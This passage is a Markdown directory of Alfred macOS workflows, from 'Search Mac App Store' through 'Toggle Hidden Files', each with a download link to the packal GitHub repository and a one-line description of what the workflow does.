* [Search Mac App Store](https://github.com/packal/repository/raw/master/com.jmjeong.alfredv2.app/searchmacappstore.alfredworkflow) - Search the Mac App Store
* [Search Maven Repository](https://github.com/packal/repository/raw/master/com.tedwise.mavenrepository/maven_repository.alfredworkflow) - Search the maven repository.
* [Search Omnifocus](https://github.com/packal/repository/raw/master/net.rhydlewis.alfred.searchomnifocus/search_omnifocus_v2.0.2.alfredworkflow) - This is a workflow that performs free text searches on OmniFocus data.
* [Search Opera Bookmarks](https://github.com/packal/repository/raw/master/com.bugaev.opera.bookmarks.search/com.bugaev.opera_.bookmarks.search.alfredworkflow) - A workflow to search Opera browser bookmarks with Alfred.
* [Search PubMed](https://github.com/packal/repository/raw/master/com.tedwise.pubmed/search_pubmed.alfredworkflow) - Two different methods to get autocomplete for PubMed.
* [Search Quora](https://github.com/packal/repository/raw/master/searchquora/search_quora.alfredworkflow) - Search on Quora!
* [Search Safari and Chrome Tabs](https://github.com/packal/repository/raw/master/com.clintonstrong.SearchTabs/search_safari_and_chrome_tabs.alfredworkflow) - Search tabs in Safari and Chrome (also supports WebKit, Chromium, and Chrome Canary)
* [Search Salesforce Lightning](https://github.com/packal/repository/raw/master/com.scottstilson.search.salesforcelightning/search_salesforce_lightning.alfredworkflow) - Re-enable an Alfred web search of Salesforce in its Lightning UI
* [Search Terminal history](https://github.com/packal/repository/raw/master/com.terminalhistory/search_terminal_history.alfredworkflow) - Search Terminal history and copy command to clipboard for quick adjustment/reuse
* [Search for Gems on RubyGems.org](https://github.com/packal/repository/raw/master/com.alfredapp.attilagyorffy.rubygems/alfred-rubygems-workflow-v0.0.2.alfredworkflow) - Search the RubyGems API from within Alfred! Use the gem command within Alfred to find gems easily.
* [Search hostelworld.com](https://github.com/packal/repository/raw/master/cat.claudi.alfredworkflow.hostelworld.search/hostelworld-search.alfredworkflow) - Provides a `hostel` keyword to search the hostelworld.com database.
* [Search iTunes Music Store](https://github.com/packal/repository/raw/master/com.gingerbeardman.alfredv2.itunes/searchitunesmusicstore.alfredworkflow) - Search iTunes Music Store for albums and songs
* [Search in Salesforce](https://github.com/packal/repository/raw/master/jereze.salesforce/salesforce-0.0.2.alfredworkflow) - Search in Salesforce from your Mac
* [Search with Tembo 2](https://github.com/packal/repository/raw/master/com.lauren.searchwithtembo2/search_with_tembo.alfredworkflow) - Find files using Tembo 2
* [Searchio!](https://github.com/packal/repository/raw/master/net.deanishe.alfred-searchio/searchio-1.8.1.alfredworkflow) - Auto-suggest search results from multiple search engines and languages
* [Secure Empty Trash](https://github.com/packal/repository/raw/master/com.raster.secureempty/secure_empty_trash_v1.alfredworkflow) - Securely empties the trash
* [Secure Password Generator](https://github.com/packal/repository/raw/master/net.deanishe.alfred-pwgen/password-generator-2.1.alfredworkflow) - Generate secure random passwords from Alfred. Uses /dev/urandom as source of entropy.
* [Secure Password Generator](https://github.com/packal/repository/raw/master/com.camerontod.passwordgen/password_generator.alfredworkflow) - Generates passwords that score highly in zxcvbn and copies them to clipboard.
* [Secure SHell](https://github.com/packal/repository/raw/master/net.deanishe.alfred-ssh/secure-shell-0.7.1.alfredworkflow) - Open SSH/SFTP/mosh connections from Alfred 3 with autosuggestion of known hosts
* [Selected text language switcher](https://github.com/packal/repository/raw/master/io.humanfarm/typed_characters_language_switcher.alfredworkflow) - Switches language of selected text (currently russian to english and english to russian)
* [SelfControl for Alfred](https://github.com/packal/repository/raw/master/com.jyotirmoydas.selfcontrol/selfcontrol_for_alfred.alfredworkflow) - Activate SelfControl and add URLs to the blocklist from Alfred!
* [Send Screenshot to Yoink](https://github.com/packal/repository/raw/master/com.bogdanvitoc.send-screenshot-to-yoink/send_screenshot_to_yoink.alfredworkflow) - Sends screenshots to Yoink from ⇧⌘4 (by default)
* [Send to Bear](https://github.com/packal/repository/raw/master/com.groenewege.send_to_bear/send_to_bear.alfredworkflow) - A file action to send files directly to the notes app Bear
* [Send to Drafts For Mac](https://github.com/packal/repository/raw/master/com.ehler.draftsbasic/drafts.alfredworkflow) - Uses the stock URL scheme for putting text into Drafts for Mac through Alfred
* [Seq-utilities](https://github.com/packal/repository/raw/master/com.danielecook.sequtil/seq-utilities.alfredworkflow) - Fetch complement, reverse complement, RNA, and protein sequences. Generate random DNA. Blast a sequence.
* [Sermon Scheduler](https://github.com/packal/repository/raw/master/com.customct.SermonSchd/sermonscheduler.alfredworkflow) - A workflow to help schedule weekly based tasks. It is designed for sermons, but can be used for anything.
* [Set Resolution](https://github.com/packal/repository/raw/master/com.tumblr.ramiroaraujo.alfred-set-resolution-workflow/alfred-set-resolution.alfredworkflow) - Handy workflow to change between available screen resolutions, even between normal and HiDPI mode (Retina).
* [Set color label](https://github.com/packal/repository/raw/master/hu.fns.setcolorlabel/set_color_label.alfredworkflow) - Set color label of selected Finder items with a keyword
* [ShadowsocksController](https://github.com/packal/repository/raw/master/com.yourtion.ssrcontroller/shadowsockscontroler.alfredworkflow) - ShadowsocksX controller for Alfred
* [Shakespearean Insult Generator](https://github.com/packal/repository/raw/master/info.oddgeek.bard/shakespearean_insult_generator.alfredworkflow) - Generate random Bard-inspired insults.
* [Shell Variables](https://github.com/packal/repository/raw/master/com.hug33k.alfredshellvariables/alfred-shellvariables.alfredworkflow) - Get your shell's variables into Alfred
* [Shimo for Workflow](https://github.com/packal/repository/raw/master/org.schoeps.shimo/shimoforalfred.alfredworkflow) - VPN Workflow for Shimo
* [ShortFilms](https://github.com/packal/repository/raw/master/com.vitorgalvao.alfred.shortfilms/shortfilms.alfredworkflow) - Stream from a selection of short films
* [Shorten URL](https://github.com/packal/repository/raw/master/es.nyr.tinyurl/shorten_url.alfredworkflow) - Create a short URL with TinyURL.com
* [Should I do it](https://github.com/packal/repository/raw/master/com.lisongcheng.should/should.alfredworkflow) - Discover the philosophical question.
* [Should I watch this movie advanced?](https://github.com/packal/repository/raw/master/com.renegaed.should-i-watch-this-movie-advanced/should_i_watch_this_movie_advanced.alfredworkflow) - Search YouTube for movie trailer, open IMDB & Rotten Tomatoes page
* [Show Fantastical 2's Main Window](https://github.com/packal/repository/raw/master/com.pehein.Fantastical2MW/show_fantastical_2s_main_window.alfredworkflow) - Shows the main window for Fantastical 2
* [Show Mac Desktop](https://github.com/packal/repository/raw/master/com.wyudong.ShowMacDesktop/show_mac_desktop.alfredworkflow) - Minimize all windows
* [Show PopClip](https://github.com/packal/repository/raw/master/com.hyshai.show_popclip/show_popclip.alfredworkflow) - Invoke PopClip
* [Show Vim Cheatsheet](https://github.com/packal/repository/raw/master/com.AmosManneschmidt.ShowVimCheatsheet/show_vim_cheatsheet.alfredworkflow) - Shows a cheatsheet for vim using quicklook. Also adds open with vim file action.
* [Show/Hide Hidden Files](https://github.com/packal/repository/raw/master/net.level3studios.showhidefiles/showhide_hidden_files.alfredworkflow) - This workflow uses the keyboard shortcut for showing/hiding hidden files.
* [Show/Hide iTunes mini](https://github.com/packal/repository/raw/master/com.show-hide-iTunes/show-hide-itunes.alfredworkflow) - This little workflow lets you show/hide the iTunes window either by using a hotkey combo or by setting a keyword.
* [Shush! — Mute your microphone](https://github.com/packal/repository/raw/master/com.dpskvn.shush/alfred-shush.alfredworkflow) - Mute/unmute the microphone quickly
* [Simple Reminders](https://github.com/packal/repository/raw/master/com.github.jimo1001.alfred-reminders-workflow/alfred-reminders-workflow-0.8.1.alfredworkflow) - For Reminders.app
* [Simple Screen Capture](https://github.com/packal/repository/raw/master/nu.fickla.SimpleScreenCapture/simple_screen_capture.alfredworkflow) - Screen Capture singel window
* [Simple Screenshots](https://github.com/packal/repository/raw/master/com.valrus.screenshot.simple/simple_screenshots.alfredworkflow) - Take screenshots and that's it.
* [Simple TimeZone](https://github.com/packal/repository/raw/master/com.bhishanpdl.simple_timezone/simple_timezones.alfredworkflow) - Display Current Times of World Cities of Your Choice
* [Simple Timer](https://github.com/packal/repository/raw/master/com.eunjae.alfred.simpletimer/simple_timer.alfredworkflow) - A very simple timer
* [Simulator](https://github.com/packal/repository/raw/master/com.jayantarora.simulator/simulator.alfredworkflow) - Shortcuts for working with iOS Simulator
* [SimulatorLauncher](https://github.com/packal/repository/raw/master/com.yourtion.simulator/simulatorlauncher.alfredworkflow) - Easy to launch simulator
* [SizeUp](https://github.com/packal/repository/raw/master/com.atlassian.giangvo.sizeup/sizeup.alfredworkflow) - Workflow to interact with SizeUp to manage applications's windows
* [Skim Remote](https://github.com/packal/repository/raw/master/fm.fastmail.dfay.skimremote/skim_remote.alfredworkflow) - Control Skim with Alfred Remote
* [Skimmer](https://github.com/packal/repository/raw/master/com.hackademic.skimmer/skimmer.alfredworkflow) - Actions for PDF viewer Skim
* [Slack](https://github.com/packal/repository/raw/master/com.yannickglt.alfred2.slack/slack.alfredworkflow) - Interact with slack through Alfred
* [Slap Toolbox](https://github.com/packal/repository/raw/master/com.customct.SlapToolbox/slaptoolbox.alfredworkflow) - Open files in Slap editor
* [Sleep](https://github.com/packal/repository/raw/master/com.galathius.sleep/sleep.alfredworkflow) - Sleep timer for mac.
* [Slugify for Alfred 3](https://github.com/packal/repository/raw/master/ca.davidweb.slugify/slugify.alfredworkflow) - Turn any text into a url compatible string of characters and batch slugify file names. Based on WordPress' function to create URL slugs.
* [Smart Folders](https://github.com/packal/repository/raw/master/net.deanishe.alfred-smartfolders/smart-folders-2.1.alfredworkflow) - View and explore your Smart Folders (Saved Searches)
* [SmartPic](https://github.com/packal/repository/raw/master/com.khanzhang.smartpic/smartpic.alfredworkflow) - SmartPic 是一款 Alfred workflow，可以方便大家上传图片到云上，并获取图片链接，可用于 Markdown 写文章时添加图片或其他用途。
* [Snap to Desktop](https://github.com/packal/repository/raw/master/com.snap.paramos/snap_to_desktop.alfredworkflow) - Takes a picture with your iSight, saves it to the desktop as "picture.jpg", and then previews it using Quick Look.
* [SnippMe](https://github.com/packal/repository/raw/master/snippme.snippets/snippme.alfredworkflow) - Integration with https://app.snippme.de
* [Snippets](https://github.com/packal/repository/raw/master/com.hackademic.snippets/snippets.alfredworkflow) - Simple, document-specific text snippets
* [Songwhip](https://github.com/packal/repository/raw/master/hu.csokolade.fns.songwhip/songwhip.alfredworkflow) - Convert a music streaming URL using songwhip.com
* [SoundCloud Control for Chrome](https://github.com/packal/repository/raw/master/io.jari.soundcloud/soundcloud_control.alfredworkflow) - Control SoundCloud via Chrome
* [SourceTree](https://github.com/packal/repository/raw/master/com.yourtion.sourcetree/sourcetree.alfredworkflow) - Fast launch project in SourceTree
* [Sourcegraph](https://github.com/packal/repository/raw/master/com.sourcegraph.workflow/sourcegraph-sourcegraph-0.0.10.alfredworkflow) - Sourcegraph Alfred Workflow
* [Spaces](https://github.com/packal/repository/raw/master/com.fabiospampinato.spaces/spaces.alfredworkflow) - Switch spaces with ease
* [Spanish Synonyms](https://github.com/packal/repository/raw/master/com.guisho.alfred.spanish/spanish_thesaurus.alfredworkflow) - A simple Spanish Thesaurus
* [Spectacle](https://github.com/packal/repository/raw/master/com.apple.alfred2.workflow.spectacle/spectacle.alfredworkflow) - Control App windows with Spectacle
* [SpeedTest](https://github.com/packal/repository/raw/master/com.chusiang.speedtest/speedtest.alfredworkflow) - Run SpeedTest with speedtest-cli.
* [SpeedTest to Slack](https://github.com/packal/repository/raw/master/com.no-technology-no-life.speedtest-slack/speedtest_to_slack.alfredworkflow) - Notify Slack of Speed test results
* [Speedtest](https://github.com/packal/repository/raw/master/pro.elms.paul.speedtest/speedtest.alfredworkflow) - Measure internet speed with speedtest.net service
* [Spillo](https://github.com/packal/repository/raw/master/com.ddeville.spillo.alfred/spillo.alfredworkflow) - Search your bookmarks in Spillo
* [Splatoon](https://github.com/packal/repository/raw/master/com.flipxfx.splatoon/splatoon.alfredworkflow) - A workflow with Splatoon helpers (maps, wiki)
* [Spotifious](https://github.com/packal/repository/raw/master/com.citelao.spotifious/spotifious.alfredworkflow) - a natural Spotify controller
* [Spotify Downloader/Ripper](https://github.com/packal/repository/raw/master/com.spotify.ripper/spotifyripper.alfredworkflow) - Download Spotify Songs to your music directory
* [Spotify Mini Player](https://github.com/packal/repository/raw/master/com.vdesabou.spotify.mini.player/spotifyminiplayer.alfredworkflow) - Control your Spotify library at your fingertips
* [Sprintly](https://github.com/packal/repository/raw/master/com.samrayner.Sprintly/sprintly.alfredworkflow) - Manage your Sprintly products from Alfred
* [Spritzr](https://github.com/packal/repository/raw/master/com.hackademic.spritzr/spritzr.alfredworkflow) - An Alfred Speed-Reader
* [Stack Overflow](https://github.com/packal/repository/raw/master/stack_overflow/stackoverflow.alfredworkflow) - Get answers to simple questions like "python function syntax", without having to open your web browser
* [StackOverflow Search](https://github.com/packal/repository/raw/master/net.deanishe.alfred-stackoverflow/stackoverflow-1.2.1.alfredworkflow) - Search StackOverflow.com from Alfred
* [Stands4 Workflow](https://github.com/packal/repository/raw/master/com.jyeakley.stands4/stands4.alfredworkflow) - Integration with the Stands4 API. (http://www.abbreviations.com/)
* [Star Ratings](https://github.com/packal/repository/raw/master/net.deanishe.alfred-star-ratings/star_ratings-1.0.alfredworkflow) - View and set ratings for your files and folders
* [StartRecording](https://github.com/packal/repository/raw/master/com.vitorgalvao.alfred.startrecording/startrecording.alfredworkflow) - Shortcuts for recording from your computer
* [Stash Worflow](https://github.com/packal/repository/raw/master/com.herokuapp.jotc.stash/stash.alfredworkflow) - Workflow for searching through Stash repositories.
* [Status](https://github.com/packal/repository/raw/master/com.iamemmanouil.statuses/status.alfredworkflow) - Alfred workflow that displays status of well known services like GitHub, Twitter and more.
* [Steam](https://github.com/packal/repository/raw/master/com.brianandjenny.steamactivator/steam.alfredworkflow) - Activate your Steam codes & launch steam games with a quick keystroke or keyword
* [Strip clipboard text formatting](https://github.com/packal/repository/raw/master/nl.staron.david.clipboardstripformatting/alfred-strip.clipboard.text_.formatting.alfredworkflow) - Strips formatting from text on the clipboard
* [StrongPassword](https://github.com/packal/repository/raw/master/com.vitorgalvao.alfred.strongpassword/strongpassword.alfredworkflow) - Get a strong password by leveraging multiple sources
* [Sublime Text Projects](https://github.com/packal/repository/raw/master/net.deanishe.alfred-sublime-text-projects/sublime_text_projects.alfredworkflow) - View, filter and open your Sublime Text (2 and 3) project files.
* [Sublime Text3 Recent](https://github.com/packal/repository/raw/master/com.ohmerhe.str/sublime_text3_recent.alfredworkflow) - open recent file or fold in sublime text3
* [Sudoers](https://github.com/packal/repository/raw/master/com.shawn.patrick.rice.sudoers/sudoers.alfredworkflow) - Add commands to your sudoers file with syntax checking.
* [Sum-Up](https://github.com/packal/repository/raw/master/com.apple.alfred2.workflow.sum-up/sum-up.alfredworkflow) - Sum-up a series of numbers separated by spaces.
* [Summary](https://github.com/packal/repository/raw/master/com.alfredapp.mb.summary/alfred-summary-workflow.alfredworkflow) - Alfred workflow to search for book summaries on various websites
* [SupaTaggla](https://github.com/packal/repository/raw/master/io.mcmanus.supataggla/supataggla.alfredworkflow) - Provide global hot keys to toggle the display of applicaitons
* [Super Effective!](https://github.com/packal/repository/raw/master/fmanoeli.supereffective/super_effective.alfredworkflow) - Check Pokémon types effectiveness.
* [Supervisord Controls](https://github.com/packal/repository/raw/master/com.chienius.supervisorctl/supervisord_controls.alfredworkflow) - Control your Supervisord
* [Surge Config Switcher](https://github.com/packal/repository/raw/master/me.imlc.surge-config-switcher/surge_config_switcher_v1.0.alfredworkflow) - Quick switch Surge configuration file(Surge for Mac)
* [Swap User](https://github.com/packal/repository/raw/master/rodrigobermudezschettino.swapuser/swap_user.alfredworkflow) - Quickly switch between mac accounts
* [Swift Color Picker](https://github.com/packal/repository/raw/master/com.enzosv.alfredswiftcolorpicker/swift_color_picker.alfredworkflow) - Alfred workflow to convert colors selected from Apple's built in color picker to Swift3 UIColor
* [Swift Demangle](https://github.com/packal/repository/raw/master/com.tildesoft.alfred.workflow.swift-demangle/swift_demangle.alfredworkflow) - Demangles Swift symbols
* [Swift Evolution Proposals](https://github.com/packal/repository/raw/master/hu.lorentey.alfred.swift-evolution/alfred-swift-evolution.alfredworkflow) - An Alfred workflow for looking up Swift evolution proposals. Written in Swift, of course.
* [Swift Playground Alfred Workflow](https://github.com/packal/repository/raw/master/com.taptonics.swiftplayground/swift_playground.alfredworkflow) - Create or open a Swift Playground through Alfred.
* [Swift Window Switcher](https://github.com/packal/repository/raw/master/ru.mandrigin.alfred.sww/swift.window.switcher-v0.3.1.alfredworkflow) - Alfred workflow to switch between open windows in the system and Safari tabs.
* [Swinsian - Rate current track](https://github.com/packal/repository/raw/master/com.christiankopac.swinsianratecurrenttrack/swinsian_-_rate_current_track.alfredworkflow) - Rate currently playing track in Swinsian with a keyboard shortcut.
* [Switch 4k monitor resolutions](https://github.com/packal/repository/raw/master/de.fuerstnet.switch4kresolution/switch_4k_monitor_resolutions.alfredworkflow) - Use resolution-cli to switch between some predefined resolutions of 4k monitors.
* [Switch Sound Output](https://github.com/packal/repository/raw/master/net.jojonki.sso/switch.sound_.output_1.alfredworkflow) - You can quickly switch your sound device.
* [Switch System Ruby](https://github.com/packal/repository/raw/master/com.tumblr.ramiroaraujo.alfred-switch-system-ruby-workflow/alfred-switch-system-ruby.alfredworkflow) - A simple Ruby development workflow for Mavericks to switch system Ruby between 2.0.0 and 1.8.7.
* [SwitchAgent](https://github.com/packal/repository/raw/master/com.vitorgalvao.alfred.switchagent/switchagent.alfredworkflow) - Switch the user agent for your frontmost browser
* [SwitchHosts!](https://github.com/packal/repository/raw/master/net.oldj.switchhosts/switchhosts.alfredworkflow) - The workflow for SwitchHosts! app.
* [Symbol Bars](https://github.com/packal/repository/raw/master/com.gandalfsaxe.symbol-bars/symbol_bars.alfredworkflow) - Very simple alfred workflow that paste one of the symbols in {#, *, -, =, %} N times, e.g. "#bar 5" paste "#####".
* [Symbols Search](https://github.com/packal/repository/raw/master/pw.symbols-search/symbols_search.alfredworkflow) - find and paste unicode symbols
* [SynAnt](https://github.com/packal/repository/raw/master/com.vitorgalvao.alfred.synant/synant.alfredworkflow) - Substitute words by checking against a thesaurs
* [Syncplay](https://github.com/packal/repository/raw/master/com.ctn.syncplay/syncplay.alfredworkflow) - Opens syncplay
* [Synonyms](https://github.com/packal/repository/raw/master/nl.staron.david.synonyms/synonyms.alfredworkflow) - Display synonyms from www.synonyms.net
* [System commands](https://github.com/packal/repository/raw/master/com.joonaspaakko.syscommands/system_commands.alfredworkflow) - System commands that honor the "Reopen windows when logging back in" option.
* [TV Show Calendar](https://github.com/packal/repository/raw/master/org.nogiec.alfredshows/alfred-shows-0.9.2.alfredworkflow) - Displays a list of current (today or +/- 1 day) TV shows
* [TV Shows Manager](https://github.com/packal/repository/raw/master/florian.shows/tv_show_manager.alfredworkflow) - Find, follow, stream, download, manage your favorite TV Shows
* [Tado](https://github.com/packal/repository/raw/master/com.auino.tado/tado.alfredworkflow) - Access to your Tado from Alfred
* [Tailwind Docs Workflow for Alfred](https://github.com/packal/repository/raw/master/com.clnt.tailwindcss-docs/tailwindcssdocs1.1.0.alfredworkflow) - An ultra-fast TailwindCSS docs search workflow for Alfred 3.
* [Tailwindcss Docs](https://github.com/packal/repository/raw/master/com.xtrasmal.tailwindcss.docs/tailwindcssdocs.alfredworkflow) - An Tailwindcss docs workflow for Alfred
* [Tailwindcss Docs for Alfred2+](https://github.com/packal/repository/raw/master/com.xtrasmal.tailwindcss.docs/tailwindcssdocs.alfredworkflow) - An Tailwindcss docs workflow for Alfred
* [TaskPaper](https://github.com/packal/repository/raw/master/com.github.robwalton.taskpaper-alfred-workflow/taskpaper.alfredworkflow) - Search for and create tasks in TaskPaper 3
* [Tastekid recommendations engine](https://github.com/packal/repository/raw/master/florian.tastekid/tastekid.alfredworkflow) - Get music, movie, game, books... recommendations based on your tastes
* [TeXdoc](https://github.com/packal/repository/raw/master/be.egongeerardyn.alfred-texdoc/texdoc.alfredworkflow) - Searches your LaTeX documentation using texdoc
* [Tea Timer](https://github.com/packal/repository/raw/master/com.bvp.teatimer/teatimer.alfredworkflow) - This workflow is designed to let you quickly and easily set a tea timer from your computer using steep.it that will alert you when your tea is done.
* [Telegram](https://github.com/packal/repository/raw/master/me.swineson.alfred.telegram/telegram.alfredworkflow) - Multiple Telegram actions
* [Template Workflow](https://github.com/packal/repository/raw/master/com.customct.TemplaterWF/templateworkflow.alfredworkflow) - A Handlebar templating engine expander of text snippets with optional expansion through TextExpander.
* [TemplatesManager](https://github.com/packal/repository/raw/master/com.vitorgalvao.alfred.templatesmanager/templatesmanager.alfredworkflow) - Save and reuse files, directory structures, and urls
* [Temporary Mute](https://github.com/packal/repository/raw/master/com.cmagnuson.temporarymute/temporary_mute.alfredworkflow) - Temporarily mute your Mac with a few keystrokes. Works great to skip commercials during sporting events.
* [TemporaryEmail](https://github.com/packal/repository/raw/master/com.vitorgalvao.alfred.temporaryemail/temporaryemail.alfredworkflow) - Get a temporary email inbox
* [Tensorboard](https://github.com/packal/repository/raw/master/net.sirbubbls.tensorboard/tensorboard.alfredworkflow) - Control Tensorboard from within Alfred
* [Terminal Commands](https://github.com/packal/repository/raw/master/com.gnestor.alfred-terminal-commands/alfred-terminal-commands.alfredworkflow) - Search OS X Terminal commands by keyword
* [Terminal Control](https://github.com/packal/repository/raw/master/org.koffel.alfred.terminal-control/terminalcontrol-v2_1.alfredworkflow) - Terminal and iTerm Profiles and Windows Control Functions
* [TerminalFinder](https://github.com/packal/repository/raw/master/de.leenno.terminalfinder/terminalfinder.alfredworkflow) - Open currently selected Finder (or Path Finder) window in Terminal (or iTerm2) and vice versa
* [Tesla Alfred Workflow](https://github.com/packal/repository/raw/master/org.dbunked.tesla-alfred-workflow/tesla-alfred-workflow-0.0.6.alfredworkflow) - A workflow for Alfred to interact with a Tesla vehicle using the unofficial Tesla JSON API
* [Text Case Converter in Swift](https://github.com/packal/repository/raw/master/com.customct.TextCaseConverter/textcaseconverterswift.alfredworkflow) - A case converter in Swift.
* [Text Manipulator](https://github.com/packal/repository/raw/master/com.textmanipulator.shawn.patrick.rice/textmanipulator.alfredworkflow) - Change the cases of text with keywords or hotkeys (UPPER, lower, Sentence, and Mixed).
* [Text Massagers](https://github.com/packal/repository/raw/master/com.customct.TextMassagers/textmassagers.alfredworkflow) - Text Manipulation scripts
* [Text Snippets](https://github.com/packal/repository/raw/master/tox.textshortcut/text_snippets_v.1.2.alfredworkflow) - Text Snippets!
* [Text Tokenizer](https://github.com/packal/repository/raw/master/com.tumblr.ramiroaraujo.alfred-text-tokenizer-workflow/alfred-text-tokenizer.alfredworkflow) - Workflow for tokenizing different text value input, and converting them back to a string with multiple syntaxes. It was basically thought as a text exapander to convert space separated works into quoted comma separated values.
* [TextExpander Clean non-breaking spaces](https://github.com/packal/repository/raw/master/com.nam.TextExpanderCleaner/textexpander_clean_non-breaking_spaces.alfredworkflow) - Clean non-breaking spaces in textExpander
* [TextFoo](https://github.com/packal/repository/raw/master/com.earthvectors.TextFoo/textfoo.alfredworkflow) - Simple commands to manipulate text
* [TextMate Favorites](https://github.com/packal/repository/raw/master/nl.ulso.alfred.textmate-favorites/textmate_favorites.alfredworkflow) - Create, open and delete TextMate Favorites through Alfred
* [TextSoap Cleaners](https://github.com/packal/repository/raw/master/com.customct.TextSoapCleaners/textsoapcleaners.alfredworkflow) - Evoke TextSoap on clipboard or current selection.
* [TextWrapper](https://github.com/packal/repository/raw/master/com.textwrapper.alfredwf.com/textwrapper.alfredworkflow) - Wraps clipboard text to specified characters width (80 is default). Returns processed text to clipboard. Usage: wrap {170}
* [Textwell Workflow](https://github.com/packal/repository/raw/master/com.customct.TextWell/textwellworkflow.alfredworkflow) - Handy function for use with the Textwell program
* [Thai Translation Workflow](https://github.com/packal/repository/raw/master/com.customct.ThaiTranslate/thaitranslation.alfredworkflow) - A small workflow to translate English to Thai and Thai to English.
* [The Best Bitcoin Faucets - Earn Free Bitcoins Easy!](https://github.com/packal/repository/raw/master/com.best.bitcoin.faucets/bitcoin_faucets_-_earn_free_bitcoins.alfredworkflow) - The best Bitcoin Faucets on the web. Easy Claims and no need to claim every few minutes.
* [The Hit List](https://github.com/packal/repository/raw/master/com.tedwise.hitlist/the_hit_list.alfredworkflow) - Create new tasks in The Hit List
* [Things](https://github.com/packal/repository/raw/master/com.xilopaint.alfredapp.things/things.alfredworkflow) - Interact with Things 3 using Alfred
* [Things](https://github.com/packal/repository/raw/master/hu.fns.things/things.alfredworkflow) - Things one-line task generation.
* [Things](https://github.com/packal/repository/raw/master/com.pawelgrzybek.things/things.alfredworkflow) - Manage your Things list with ease.
* [Things](https://github.com/packal/repository/raw/master/com.joshalbrechtsen.alfred.things/things.alfredworkflow) - Things 3 Workflow with Deep Linking
* [Thumbtack 2](https://github.com/packal/repository/raw/master/com.ReactivCode.Thumbtack/thumbtack.alfredworkflow) - Search, Add and Delete Pinboard items with Thumbtack 2
* [TickTick](https://github.com/packal/repository/raw/master/com.carlmercier.alfred-ticktick/add_to_ticktick.alfredworkflow) - Add tasks to TickTick
* [Time Adding Workflow](https://github.com/packal/repository/raw/master/com.customct.TimeAddingWorkflow/timeaddingworkflow.alfredworkflow) - A simple workflow for adding together many time values.
* [Time Machine](https://github.com/packal/repository/raw/master/com.tedwise.timemachine/time_machine.alfredworkflow) - Inspect and control Time Machine.
* [Time Machine Exclusions](https://github.com/packal/repository/raw/master/carlosnz.timemachine/time_machine_exclusions_v1.0.alfredworkflow) - Easily exclude specific files or folders from Time Machine backups.
* [Time Stamp Workflow](https://github.com/packal/repository/raw/master/com.customct.TimeStamp/timestamp.alfredworkflow) - Create and use date/time stamps.
* [Time.is](https://github.com/packal/repository/raw/master/com.apple.alfred2.workflow.timeis/time.is_.alfredworkflow) - Open time.is comparison with 2 or more locations and/or Time-zones
* [TimeClock](https://github.com/packal/repository/raw/master/com.drewpappas.timeclock/timeclock.alfredworkflow) - A time tracking workflow that saves punches & notes in a CSV file.
* [TimeZones](https://github.com/packal/repository/raw/master/carlosnz.timezones/timezones_v1.7a.alfredworkflow) - A customized world clock — shows a list of user-configured cities with their current local times.
* [TimeZones 2](https://github.com/packal/repository/raw/master/carlosnz.timezones2/timezones.alfredworkflow) - A customized world clock — shows a list of user-configured cities with their current local times (improved version)
* [Timer](https://github.com/packal/repository/raw/master/gheardi.riccardo.timer/timer.alfredworkflow) - Set up custom timers. Pomodoro support.
* [Timer](https://github.com/packal/repository/raw/master/siyahmadde-timer/timer.alfredworkflow) - An Alfred workflow letting you set a timer on your MAC's menubar. When the time is up, your Hue lights blink.
* [Timer control](https://github.com/packal/repository/raw/master/net.lemonlee.timer/timer_control.alfredworkflow) - Control Timer (https://itunes.apple.com/us/app/pomodoro/id799574890) from Alfred
* [Times](https://github.com/packal/repository/raw/master/com.reorx.alfred.times/times.alfredworkflow) - Get time string of current time
* [Timestamp](https://github.com/packal/repository/raw/master/com.jousch.alfred.timestamp/timestamp.alfredworkflow) - Get current unix timestamp or convert a string to a timestamp or a timestamp to a datetime.
* [Timezones](https://github.com/packal/repository/raw/master/gherardi.riccardo.timezones/timezones.alfredworkflow) - Show world timezones. Does not require an internet connection.
* [TinyPNG](https://github.com/packal/repository/raw/master/carlosnz.tinypng/tiny_png_v1.3.alfredworkflow) - Compress PNG or JPG image files using the online TinyPNG.com service
* [Title Case Server](https://github.com/packal/repository/raw/master/com.customct.TitleCaseServer/titlecaseserver.alfredworkflow) - Makes use of a local web app to convert title case.
* [Titleize](https://github.com/packal/repository/raw/master/com.bartjacobs.titleize/titleize.alfredworkflow) - Change Case of a Current Selection
* [Tmux Workflow](https://github.com/packal/repository/raw/master/com.tumblr.ramiroaraujo.alfred-tmux-workflow/alfred-tmux.alfredworkflow) - Alfred workflow to manage tmux sessions, integrated with iTerm2. It can list current sessions, connect to them, kill them or create a new one. The connect or create action actually opens iTerm2 and connects to the session.
* [Todo Workflow](https://github.com/packal/repository/raw/master/com.customct.Todo/todoworkflow.alfredworkflow) - Workflow for using TaskPaper with scheduled todos and journaling.
* [Todoist overdue to today](https://github.com/packal/repository/raw/master/ru.agladky.todoist.overdue/todoist_overdue.alfredworkflow) - Moves all overdue tasks to today in Todoist
* [Together Import Url](https://github.com/packal/repository/raw/master/com.sowicm.together/together_import_url.alfredworkflow) - Import current tab's url to Together (selected group/folder) as pdf
* [Toggl](https://github.com/packal/repository/raw/master/com.jason0x43.alfred-toggl/alfred-toggl.alfredworkflow) - Interact with your Toggl.com account
* [Toggle Bluetooth](https://github.com/packal/repository/raw/master/com.pauladair.btb/toggle_bluetooth.alfredworkflow) - Toggle Bluetooth power on and off
* [Toggle Drop-Shadow in Window Captures](https://github.com/packal/repository/raw/master/com.calebgrove.toggleshadow/toggle_drop-shadow_in_window_captures.alfredworkflow) - Toggle visibility of drop-shadows in window captures.
* [Toggle Font Smoothing](https://github.com/packal/repository/raw/master/com.bradvrolijk.alfredfontsmoothing/toggle_font_smoothing.alfredworkflow) - Enable/Disable macOS Font Smoothing
* [Toggle Function Keys](https://github.com/packal/repository/raw/master/com.tanseycg.togglefunctionkeys/toggle_function_keys.alfredworkflow) - Toggles Function Keys in OS X using Apple Script that includes a remote trigger for use with Alfred Remote.
* [Toggle Function Keys](https://github.com/packal/repository/raw/master/uk.co.clokey.alfredworkflow/toggle_function_keys.alfredworkflow) - Toggle the fn key globally
* [Toggle Greyscale](https://github.com/packal/repository/raw/master/org.codegrower.ToggleGreyScale/toggle_greyscale.alfredworkflow) - Toggles macOS` greyscale setting
* [Toggle Hidden](https://github.com/packal/repository/raw/master/com.EgregiousClam.togglehidden/toggle_hidden.alfredworkflow) - Toggle the Display of Hidden Files in Finder
* [Toggle Hidden Files](https://github.com/packal/repository/raw/master/ch.milan.hiddenfiles/hidden_files.alfredworkflow) - Show and hide hidden system files in Finder with one click.
